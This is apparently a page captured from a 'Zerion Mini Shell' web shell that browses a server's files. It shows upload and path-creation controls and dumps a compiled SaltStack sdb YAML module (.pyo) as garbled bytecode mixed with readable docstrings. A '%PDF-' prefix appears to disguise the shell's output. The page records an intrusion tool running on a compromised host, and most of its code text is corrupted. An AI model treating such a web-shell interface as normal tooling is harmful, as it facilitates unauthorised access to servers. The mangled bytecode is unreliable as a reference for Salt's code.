%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/sdb/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/sdb/yaml.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddl	Zddl
ZddlZddlZej
e�Zidd6Zd�Zd�Zdd�Zdd	�Zd
�ZdS(u(
Pull sdb values from a YAML file

:maintainer:    SaltStack
:maturity:      New
:platform:      all

.. versionadded:: 2017.7.0

Configuration:

.. code-block:: yaml

    my-yaml-file:
      driver: yaml
      files:
        - /path/to/foo.yaml
        - /path/to/bar.yaml

The files are merged together and the result is searched using the same
mechanism Salt uses for searching Grains and Pillar data structures.

Optional configuration:

.. code-block:: yaml

    my-yaml-file:
      driver: yaml
      files:
        - /path/to/foo.yaml
        - /path/to/bar.yaml
      merge:
        strategy: smart
        merge_list: false
      gpg: true

Setting the ``gpg`` option to ``true`` (default is ``false``) will decrypt embedded
GPG-encrypted data using the :py:mod:`GPG renderer <salt.renderers.gpg>`.
i(tabsolute_importtprint_functiontunicode_literalsNusetuset_cC@stS(N(tTrue(((s1/usr/lib/python2.7/site-packages/salt/sdb/yaml.pyt__virtual__<scO@stjj��dS(uH
    Setting a value is not supported; edit the YAML files directly
    N(tsaltt
exceptionstNotImplemented(targstkwargs((s1/usr/lib/python2.7/site-packages/salt/sdb/yaml.pytset_@scC@s\t|�}|rC|jdt�rCtjjjt|�|d�Stjjj||d�S(u)
    Get a value from the dictionary
    ugpgN(	t_get_valuestgettFalseRtutilstdatattraverse_dict_and_listt_decrypttNone(tkeytprofileR((s1/usr/lib/python2.7/site-packages/salt/sdb/yaml.pyRGscC@s�|p	i}tjjt�}i}x�|jdg�D]�}y[tjjj|��@}|jj	|�}tjj
j|||jdi��}WdQXWq7tk
r�t
jd|�q7tk
r�}t
jd||�q7Xq7W|S(uR
    Retrieve all the referenced files, deserialize, then merge them together
    ufilesumergeNuFile '%s' not found u%Error deserializing sdb file '%s': %s(Rtloadertserializerst__opts__RRtfilestflopentyamltdeserializet
dictupdatetmergetIOErrortlogterrort	TypeError(RRtrettfnametyamlfiletcontentstexc((s1/usr/lib/python2.7/site-packages/salt/sdb/yaml.pyRTs%
cC@stjjtt�d|�S(uS
    Pass the dictionary through the GPG renderer to decrypt encrypted values.
    ugpg(RRtrenderRt__salt__(R((s1/usr/lib/python2.7/site-packages/salt/sdb/yaml.pyRis(t__doc__t
__future__RRRtloggingtsalt.exceptionsRtsalt.loadertsalt.utils.datatsalt.utils.filestsalt.utils.dictupdatetsalt.renderers.gpgt	getLoggert__name__Rt__func_alias__RR
RRRR(((s1/usr/lib/python2.7/site-packages/salt/sdb/yaml.pyt<module>(s 
		


Zerion Mini Shell 1.0